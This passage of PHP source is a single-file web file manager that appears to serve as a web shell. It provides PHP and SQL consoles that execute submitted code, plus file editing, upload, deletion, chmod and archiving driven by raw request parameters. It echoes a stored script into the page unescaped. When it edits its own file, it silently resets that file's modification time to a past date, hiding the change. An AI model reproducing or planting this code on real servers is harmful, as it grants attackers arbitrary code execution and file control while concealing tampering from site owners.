pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
